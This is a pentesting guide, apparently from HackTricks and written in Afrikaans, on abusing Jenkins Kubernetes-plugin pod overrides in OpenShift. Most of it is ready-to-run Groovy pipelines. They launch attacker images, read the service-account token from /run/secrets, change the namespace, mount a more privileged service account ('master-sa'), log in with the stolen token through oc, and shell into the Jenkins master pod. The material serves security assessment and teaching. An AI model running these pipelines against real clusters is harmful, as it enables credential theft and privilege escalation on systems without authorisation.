# Jenkins in Openshift - build pod overrides

{{#include ../../../banners/hacktricks-training.md}}

**Die oorspronklike skrywer van hierdie bladsy is** [**Fares**](https://www.linkedin.com/in/fares-siala/)

## Kubernetes plugin vir Jenkins
Hierdie plugin is hoofsaaklik verantwoordelik vir Jenkins se kernfunksies binne 'n openshift/kubernetes-kluster. Amptelike dokumentasie [hier](https://plugins.jenkins.io/kubernetes/)
Dit bied 'n paar funksionaliteite soos die vermoë vir ontwikkelaars om sekere standaardkonfigurasies van 'n jenkins build pod te oorskry.

## Kernfunksionaliteit

Hierdie plugin bied buigsaamheid aan ontwikkelaars wanneer hulle hul kode in 'n geskikte omgewing bou.
```groovy
podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: maven
image: maven:3.8.1-jdk-8
command:
- sleep
args:
- 99d
''') {
node(POD_LABEL) {
stage('Get a Maven project') {
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
container('maven') {
stage('Build a Maven project') {
sh 'mvn -B -ntp clean install'
}
}
}
}
}
```
## Sommige misbruik wat pod yaml oorskry gebruik

Dit kan egter misbruik word om enige toeganklike beeld soos Kali Linux te gebruik en arbitrêre opdragte uit te voer met behulp van vooraf geïnstalleerde gereedskap van daardie beeld. In die voorbeeld hieronder kan ons die serviceaccount-token van die lopende pod uitfiltreer.
```groovy
podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: kali
image: myregistry/mykali_image:1.0
command:
- sleep
args:
- 1d
''') {
node(POD_LABEL) {
stage('Evil build') {
container('kali') {
stage('Extract openshift token') {
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
}
}
}
}
}
```
'n Ander sintaksis om dieselfde doel te bereik.
```groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}
```
Voorbeeld om die naamruimte van die pod te oorskry
```groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: RANDOM-NAMESPACE
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}
```
'n Ander voorbeeld wat probeer om 'n serviceaccount te monteer (wat dalk meer regte het as die standaard een, wat jou bou uitvoer) gebaseer op sy naam. Jy mag dalk eers moet raai of bestaande serviceaccounts opnoem.
```groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: MY_SERVICE_ACCOUNT
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}
```
Die dieselfde tegniek geld om 'n Secret te probeer monteer. Die einddoel hier sou wees om uit te vind hoe om jou pod-bou te konfigureer om effektief te pivot of privilige te verkry.

## Om verder te gaan

Sodra jy gewoond raak om daarmee te speel, gebruik jou kennis van Jenkins en Kubernetes/Openshift om miskonfigurasies / misbruik te vind.

Vraag jouself die volgende vrae:

- Watter diensrekening word gebruik om bou pods te ontplooi?
- Watter rolle en toestemmings het dit? Kan dit secrets van die namespace lees waarin ek tans is?
- Kan ek ander bou pods verder opnoem?
- Van 'n gecompromitteerde sa, kan ek opdragte op die meester node/pod uitvoer?
- Kan ek die kluster verder opnoem om elders te pivot?
- Watter SCC is toegepas?

Jy kan uitvind watter oc/kubectl opdragte om uit te reik [hier](../openshift-basic-information.md) en [hier](../../kubernetes-security/kubernetes-enumeration.md).

### Moglike privesc/pivoting scenario's

Kom ons neem aan dat jy tydens jou assessering uitgevind het dat alle jenkins boue binne 'n namespace genaamd _worker-ns_ loop. Jy het uitgevind dat 'n standaard diensrekening genaamd _default-sa_ op die bou pods gemonteer is, maar dit het nie soveel toestemmings nie, behalwe lees toegang op sommige hulpbronne, maar jy was in staat om 'n bestaande diensrekening genaamd _master-sa_ te identifiseer. 
Kom ons neem ook aan dat jy die oc opdrag geïnstalleer het binne die lopende bou houer.

Met die onderstaande bou skrip kan jy beheer oor die _master-sa_ diensrekening neem en verder opnoem.
```groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: master-sa
containers:
- name: evil
image: random_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
sh 'oc --token=$token whoami'
}
}
}
}
}
}
```
Afhangende van jou toegang, moet jy óf jou aanval vanaf die bou-skrip voortset, óf jy kan direk aanmeld as hierdie sa op die lopende kluster:
```bash
oc login --token=$token --server=https://apiserver.com:port
```
As hierdie sa genoeg toestemming het (soos pod/exec), kan jy ook die hele jenkins-instantie oorneem deur opdragte binne die meester node pod uit te voer, as dit binne dieselfde naamruimte loop. Jy kan hierdie pod maklik identifiseer deur sy naam en deur die feit dat dit 'n PVC (persistente volume eis) moet monteer wat gebruik word om jenkins data te stoor.
```bash
oc rsh pod_name -c container_name
```
As die meester node pod nie binne dieselfde naamruimte as die werkers loop nie, kan jy soortgelyke aanvalle probeer deur die meester naamruimte te teiken. Kom ons neem aan dit word _jenkins-master_ genoem. Hou in gedagte dat die serviceAccount master-sa op die _jenkins-master_ naamruimte moet bestaan (en mag nie in die _worker-ns_ naamruimte bestaan nie).
```groovy
pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: jenkins-master
spec:
serviceAccount: master-sa
containers:
- name: evil-build
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}



{{#include ../../../banners/hacktricks-training.md}}
